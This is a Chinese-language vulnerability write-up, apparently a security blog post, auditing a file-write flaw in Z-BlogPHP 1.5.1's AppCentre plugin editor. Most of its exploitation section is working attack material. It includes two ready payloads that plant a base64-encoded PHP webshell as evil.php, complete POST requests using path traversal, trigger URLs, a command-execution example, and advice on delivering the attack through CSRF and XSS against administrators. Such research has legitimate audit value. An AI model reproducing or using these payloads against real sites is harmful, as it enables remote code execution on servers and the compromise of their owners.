代码审计:Z-BlogPHP 1.5.1 Zero GetShell 漏洞分析
背景
看了 Hiwin 师傅发的《Z-Blog 两处 Getshell 分析(附 EXP)(CVE-2018-8893、CVE-2018-9169、CVE-2018-9153)》的文章(原文链接:https://xz.aliyun.com/t/2277),我也分析了下 GetShell 的方法,漏洞的利用思路和 Hiwin 师傅的不大一样,欢迎讨论交流。
官方站点:
https://www.zblogcn.com/源码版本:Z-BlogPHP_1_5_1_Zero
问题文件:
zb_users/plugin/AppCentre/plugin_edit.php漏洞类型:文件写入导致代码执行
漏洞分析
问题代码块
在 zb_users/plugin/AppCentre/plugin_edit.php 第 47-68 行可以找到如下代码块,仔细分析就能发现两处 file_put_contents($path, $file) 的文件名和文件内容都是用户可以控制的:
// 第 47-68 行(简化示意)
// 第一处:写入路径由 app_path 决定(用户可控),内容来自 tpl/main.html 模板替换
$s = GetPreStr($app->id); // 仅做模板替换
$file = str_replace('<%appid%>', $app->id, $tpl_main);
$path = $app_path; // 来自 POST['app_path']
file_put_contents($path, $file);
// 第二处:写入固定 include.php,内容来自 tpl/include.html 模板替换
$file = str_replace('<%appid%>', $app->id, $tpl_include);
$path = 'include.php';
file_put_contents($path, $file);
第一处(第 57-61 行)先读取 tpl/main.html 内容,把 <%appid%> 替换为 $app->id,再通过 POST 拿到要写入的文件路径,最后 file_put_contents 写入。第二处(第 63-67 行)逻辑差不多,只是写入路径固定为 include.php。
关键约束与绕过
反向跟踪 $app->id,第 50 行要求传入的值开头必须是字母、数字或下划线,长度 3-30 字符——这是一个典型的"只约束起始不约束中后段"的正则盲区:
// app_id 校验:仅约束起始字符,不约束中后段
// 正则形如 ^[A-Za-z_][A-Za-z0-9_]{2,29}$
// 实际匹配的是"以字母数字下划线开头且前3-30个字符满足规则"
因此只需要前面三个字符满足规则、后面的字符直接拼接 PHP 代码,就可以把恶意代码塞进目标文件。接下来要查看 tpl/main.html 和 tpl/include.html 中 <%appid%> 出现的位置,根据上下文的闭合规则构造 payload。
模板占位符位置


第一处 tpl/main.html:因为存在 2 处写入点,且两处的闭合规则不一致,可以用 ?> 闭合前一处,让后面的内容(包括第二处 <%appid%>)都作为纯文本输出——这种"一次闭合、后续放任"的写法是 PHP 模板注入的经典绕过手段。
第二处 tpl/include.html:有 5 处 <%appid%>,其中第 1、2 处与其余 3 处闭合方式不同。同时如果不定义 RegisterPlugin 方法就会报错,但定义了这个方法后,由于写入位置有 4 处(其中 3 处都会尝试定义该方法),又会触发 Cannot redeclare RegisterPlugin()。在不引入 ?> 或 /* 的情况下实在想不出构造方法(师傅们若有更好的思路,欢迎交流)。
利用过程
Windows 的限制
经过测试,Windows 下 file_put_contents 的目标路径如果包含 ?、*、null 等字符会直接报错无法写入。而 PHP 闭合标签 ?> 中的 ? 恰好被 Windows 视为非法路径字符,导致 app_path 不能同时承担"承载 PHP 闭合符号"与"作为合法文件名"两个角色。
因此这个文件写入导致的 GetShell,经过测试仅得到 Linux 下可稳定利用的方式。Windows 下的利用方式留待师傅们交流补充。
利用方式一:main.html 模板
构造 tpl/main.html 利用方式的 payload(前 3 字符满足正则,后续是 PHP 代码):
// payload(写入到 main.html 中替换 <%appid%> 后的内容)
balabal')){}$f=fopen('evil.php','a');fwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8+'));fclose($f);?>
base64 解码后是一句话木马 <?php $_GET['func']($_GET['cmd']);?>。
由于 plugin_edit.php 第 60 行 app_path 字段存在目录跳转,可以用 ../ 跨目录,将写入的文件指向 zb_users/plugin/Totoro/main.php(Totoro 是 Z-Blog 自带的评论管理插件),等管理员访问"评论管理 → Totoro 设置"时触发恶意代码生成 evil.php:
POST /zb_users/plugin/AppCentre/plugin_edit.php HTTP/1.1
Host: 192.168.112.136
Content-Type: application/x-www-form-urlencoded
Cookie: username=zblog; password=321c7793b025c200fcf087a437cf2b24; addinfo=...
app_id=balabal')){}$f%3dfopen('evil.php','a')%3bfwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b'))%3bfclose($f)%3b%3f>&app_name=1&app_url=2&app_note=3&app_adapted=151740&app_version=1.0&app_pubdate=2018-04-19&app_modified=2018-04-19&app_author_name=zblog&app_author_email=null%40null.com&app_author_url=&app_path=../Totoro/main.php&app_include=include.php&app_level=1&app_phpver=5.2&app_price=0&app_advanced_dependency=&app_advanced_conflict=&app_advanced_rewritefunctions=&app_advanced_existsfunctions=&app_description=
访问 http://192.168.112.136/zb_users/plugin/Totoro/main.php 触发后,会在该目录生成 evil.php,连接一句话即可执行命令:
http://192.168.112.136/zb_users/plugin/Totoro/evil.php?func=assert&cmd=system('ls');
利用方式二:include.html 模板
构造 tpl/include.html 利用方式的 payload,需要在前面用 function RegisterPlugin(){} 显式补一个空函数,避免"未定义方法"报错,再用 ?> 闭合后续 PHP 上下文:
// payload(写入到 include.html 中替换 <%appid%> 后的内容)
12a(){};function RegisterPlugin(){};$f=fopen('evil.php','a');fwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8+'));fclose($f)?>
进行如下请求会将上述代码写入到 include.php:
POST /zb_users/plugin/AppCentre/plugin_edit.php HTTP/1.1
Host: 192.168.112.136
Content-Type: application/x-www-form-urlencoded
Cookie: username=zblog; password=321c7793b025c200fcf087a437cf2b24; ...
app_id=12a(){}%3bfunction+RegisterPlugin(){}%3b$f%3dfopen('evil.php','a')%3bfwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b'))%3bfclose($f)%3f>&app_name=1&app_url=2&app_note=3&app_adapted=151740&app_version=1.0&app_pubdate=2018-04-19&app_modified=2018-04-19&app_author_name=zblog&app_author_email=null%40null.com&app_author_url=&app_path=main.php&app_include=include.php&app_level=1&app_phpver=5.2&app_price=0&app_advanced_dependency=&app_advanced_conflict=&app_advanced_rewritefunctions=&app_advanced_existsfunctions=&app_description=

请求成功后,访问插件入口(注意需要对路径做 URL 编码):
http://192.168.112.136/zb_users/plugin/12a%28%29%7B%7D%3Bfunction%20RegisterPlugin%28%29%7B%7D%3B%24f%3Dfopen%28%27evil.php%27%2C%27a%27%29%3B...
访问结束后会在插件目录下生成 evil.php,文件内容为上述一句话木马。

与 CSRF 的结合
以上两种利用方式都需要与 CSRF 结合才能在实战中触发——攻击者把恶意请求托管在自己的站点,通过诱导后台管理员访问(常见手段:留言板 XSS、私信钓鱼、运维后台嵌套 iframe 等)来代为提交带管理员 Cookie 的 POST 请求。Hiwin 师傅的思路正是 CSRF + XSS 的组合拳,思路非常值得膜一波,详细内容可参见原文 https://xz.aliyun.com/t/2277。
写在最后
本篇以 Z-BlogPHP 1.5.1 Zero 源码进行审计和漏洞分析,其中 Windows 下的 GetShell 方法暂时没整出来,Windows 对文件名合法字符的限制太多(师傅们如果有好思路期待一起讨论),但 Linux 下与 CSRF 结合即可成功 GetShell,本篇的一些利用方式与 Hiwin 师傅的不大一样,膜一波 Hiwin 师傅的思路很棒,期待师傅们一起交流讨论。
这类"插件编辑器 + 模板占位符"的组合是老 CMS 的通病——核心逻辑往往用 str_replace 拼接模板,再用 file_put_contents 落盘,而校验只看前缀不看中后段。审计时要从一致性缝隙视角出发:声明层(“用户只能编辑自己的插件”)与实现层(“用户可写入任意 PHP 代码”)之间的差异,就是漏洞的栖身之所。Z-BlogPHP 项目方后续的修复也正是收紧了 app_id 的字符白名单与 app_path 的目录限制,从根因上闭合了这条缝隙。